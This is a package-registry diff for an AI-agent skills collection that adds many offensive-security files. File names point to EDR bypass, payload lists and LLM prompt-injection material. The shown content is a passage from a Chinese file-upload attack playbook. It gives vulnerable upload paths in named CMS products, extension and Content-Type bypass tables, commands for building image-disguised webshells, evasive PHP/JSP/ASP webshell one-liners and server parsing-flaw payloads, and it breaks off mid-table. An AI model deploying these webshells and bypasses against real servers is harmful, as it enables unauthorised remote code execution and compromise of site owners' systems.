opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,1365 @@
|
|
|
1
|
+
# 文件上传 (任意文件写入 / Webshell)
|
|
2
|
+
|
|
3
|
+
> 视角:黑盒,目标是上传可解析的文件 / 触发解析漏洞 / 拿 shell
|
|
4
|
+
|
|
5
|
+
## 1. 一句话说清
|
|
6
|
+
|
|
7
|
+
文件上传 = 把不可信的字节存到服务器 + 后端能解析它。
|
|
8
|
+
两层都得突破:(a) **绕过校验**,(b) **触发解析**。
|
|
9
|
+
SRC 价值:成功 = 直接 RCE,P0;失败 = 受限上传,P2/P3。
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## 2. 高频入口点
|
|
14
|
+
|
|
15
|
+
### 2.1 上传点分布(前 50 案例统计)
|
|
16
|
+
|
|
17
|
+
| 类型 | 占比 | 路径特征 |
|
|
18
|
+
|------|------|---------|
|
|
19
|
+
| 富文本编辑器 | 42% | `/fckeditor/`、`/ewebeditor/`、`/ueditor/`、`/kindeditor/` |
|
|
20
|
+
| 头像 | 18% | `/upload/avatar/`、`/member/uploadfile/` |
|
|
21
|
+
| 附件 / 文档 | 15% | `/uploads/`、`/attachment/` |
|
|
22
|
+
| 后台功能 | 12% | `/admin/upload/`、`/system/upload/` |
|
|
23
|
+
| 业务 | 8% | `/apply/`、`/submit/`、`/import/` |
|
|
24
|
+
| 导入 | 5% | `/import/`、`/excelUpload/` |
|
|
25
|
+
|
|
26
|
+
### 2.2 编辑器路径速查
|
|
27
|
+
|
|
28
|
+
| 编辑器 | 测试路径 |
|
|
29
|
+
|--------|---------|
|
|
30
|
+
| FCKeditor | `/FCKeditor/editor/filemanager/browser/default/connectors/test.html` |
|
|
31
|
+
| FCKeditor | `/FCKeditor/editor/filemanager/browser/default/browser.html` |
|
|
32
|
+
| FCKeditor | `/FCKeditor/editor/filemanager/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/` |
|
|
33
|
+
| eWebEditor | `/ewebeditor/admin/default.jsp` |
|
|
34
|
+
| eWebEditor | `/eWebEditor/admin/Login.aspx` |
|
|
35
|
+
| UEditor | `/ueditor/controller.jsp?action=config` |
|
|
36
|
+
| UEditor | `/ueditor/php/controller.php?action=config` |
|
|
37
|
+
| KindEditor | `/kindeditor/php/file_manager_json.php` |
|
|
38
|
+
| CKEditor | `/ckfinder/userfiles/files/` |
|
|
39
|
+
| TinyMCE | `/plugins/imagemanager/upload.php` |
|
|
40
|
+
|
|
41
|
+
### 2.3 高危 CMS 路径
|
|
42
|
+
|
|
43
|
+
| CMS / 系统 | 上传路径 | 条件 |
|
|
44
|
+
|-----------|---------|------|
|
|
45
|
+
| 万户 OA ezOffice | `/defaultroot/dragpage/upload.jsp` | 截断绕过 |
|
|
46
|
+
| 用友协作 | `/oaerp/ui/sync/excelUpload.jsp` | 绕过 JS |
|
|
47
|
+
| 金蝶 GSiS | `/kdgs/core/upload/upload.jsp` | 注册用户 |
|
|
48
|
+
| Finecms | `/member/controllers/Account.php` | 注册用户 + 竞态 |
|
|
49
|
+
| PHPEMS | `/app/document/api.php` | 无后缀检测 |
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## 3. 探测手法
|
|
54
|
+
|
|
55
|
+
### 3.1 客户端 JS 校验绕过
|
|
56
|
+
|
|
57
|
+
```
|
|
58
|
+
1. 禁用浏览器 JS / 用 Postman / curl 直接发包
|
|
59
|
+
2. Burp 拦截上传请求,改 filename / content-type
|
|
60
|
+
3. 改前端 DOM:把 accept="image/*" 删掉
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### 3.2 扩展名绕过快表
|
|
64
|
+
|
|
65
|
+
| 技巧 | PHP | ASP/X | JSP |
|
|
66
|
+
|------|-----|-------|-----|
|
|
67
|
+
| 大小写 | `.Php`、`.pHp` | `.Asp`、`.aSp` | `.Jsp` |
|
|
68
|
+
| 双写 | `.pphphp` | `.asaspp` | `.jsjspp` |
|
|
69
|
+
| 特殊后缀 | `.php3`、`.php5`、`.phtml`、`.phar`、`.pht` | `.asa`、`.cer`、`.cdx`、`.aspx` | `.jspx`、`.jspa`、`.jspi`、`.jsw` |
|
|
70
|
+
| 空格 / 点 | `.php ` 或 `.php.` | `.asp ` | `.jsp.` |
|
|
71
|
+
| `::$DATA` | - | `.asp::$DATA` | - |
|
|
72
|
+
| `%00` 截断 | `.php%00.jpg` | `.asp%00.jpg` | `.jsp%00.jpg` |
|
|
73
|
+
| `;` 截断 | - | `.asp;.jpg`(IIS6) | - |
|
|
74
|
+
| `/` 截断 | - | `.asp/.jpg` | - |
|
|
75
|
+
|
|
76
|
+
### 3.3 Content-Type 修改
|
|
77
|
+
|
|
78
|
+
```
|
|
79
|
+
原始: application/octet-stream
|
|
80
|
+
改成: image/jpeg / image/png / image/gif / application/pdf
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
抓包改 `multipart/form-data` 中的 `Content-Type:` 行。
|
|
84
|
+
|
|
85
|
+
### 3.4 文件头 / 内容绕过
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
# 图片马(GIF)
|
|
89
|
+
echo -ne "GIF89a\n<?php @eval(\$_POST['c']);?>" > shell.gif
|
|
90
|
+
mv shell.gif shell.php
|
|
91
|
+
|
|
92
|
+
# 图片马(PNG,二进制头 + 注释段藏 PHP)
|
|
93
|
+
copy /b real.png + shell.php fake.png # Windows
|
|
94
|
+
cat real.jpg shell.php > fake.jpg # Linux
|
|
95
|
+
|
|
96
|
+
# EXIF 注入(GIMP 编辑 EXIF Comment)
|
|
97
|
+
exiftool -Comment="<?php system(\$_GET['cmd']);?>" image.jpg
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### 3.5 Webshell 内容免杀
|
|
101
|
+
|
|
102
|
+
| 类型 | 示例 |
|
|
103
|
+
|------|------|
|
|
104
|
+
| **PHP 变量函数** | `<?php $a='ass'.'ert'; $a($_POST['c']);?>` |
|
|
105
|
+
| **PHP 回调** | `<?php array_map('assert', $_POST);?>` |
|
|
106
|
+
| **PHP 动态构造** | `<?php $f = create_function('', $_POST['x']); $f();?>` |
|
|
107
|
+
| **PHP eval 替代** | `preg_replace('/.*/e', $_POST['c'], '');`(PHP < 7) |
|
|
108
|
+
| **JSP** | `<%Runtime.getRuntime().exec(request.getParameter("c"));%>` |
|
|
109
|
+
| **JSPX** | XML 格式,WAF 检测 `.jsp` 时漏掉 |
|
|
110
|
+
| **ASP** | `<%execute(request("c"))%>` |
|
|
111
|
+
| **ASPX** | `<%@ Page Language="C#"%><%System.Diagnostics.Process.Start(...)%>` |
|
|
112
|
+
|
|
113
|
+
### 3.6 解析漏洞触发
|
|
114
|
+
|
|
115
|
+
| 服务器 | 漏洞 | Payload |
|
|
116
|
+
|--------|------|---------|
|
|
117
|
+
| **IIS 6.0 目录** | `/shell.asp/1.jpg` → 当 ASP | 上传到 `/shell.asp/` 文件夹 |
|
|
118
|
+
| **IIS 6.0 文件** | `shell.asp;.jpg` → 当 ASP | 直接命名 |
|
|
119
|
+
| **IIS 7.x** | `shell.jpg/.php` → 当 PHP(fix_pathinfo=1) | URL 拼接 |
|
|
120
|
+
| **Apache 多后缀** | `shell.php.xxx` → 当 PHP(从右向左找) | 命名为 `shell.php.xxx` |
|
|
121
|
+
| **Apache .htaccess** | `AddType application/x-httpd-php .jpg` | 上传 .htaccess 后再传 .jpg |
|
|
122
|
+
| **Apache CVE-2017-15715** | `shell.php\x0a` → 当 PHP | 文件名末加 `\n` |
|
|
123
|
+
| **Nginx fix_pathinfo** | `shell.jpg/x.php` → 当 PHP | URL 路径拼接 |
|
|
124
|
+
| **Nginx CVE-2013-4547** | `shell.jpg \0.php` | 空字节 |
|
|
125
|
+
| **Tomcat CVE-2017-12615** | PUT `/shell.jsp/` | PUT 方法 |
|
|
126
|
+
|
|
127
|
+
### 3.7 路径获取 / 命名规则
|
|
128
|
+
|
|
129
|
+
| 方式 | 描述 |
|
|
130
|
+
|------|------|
|
|
131
|
+
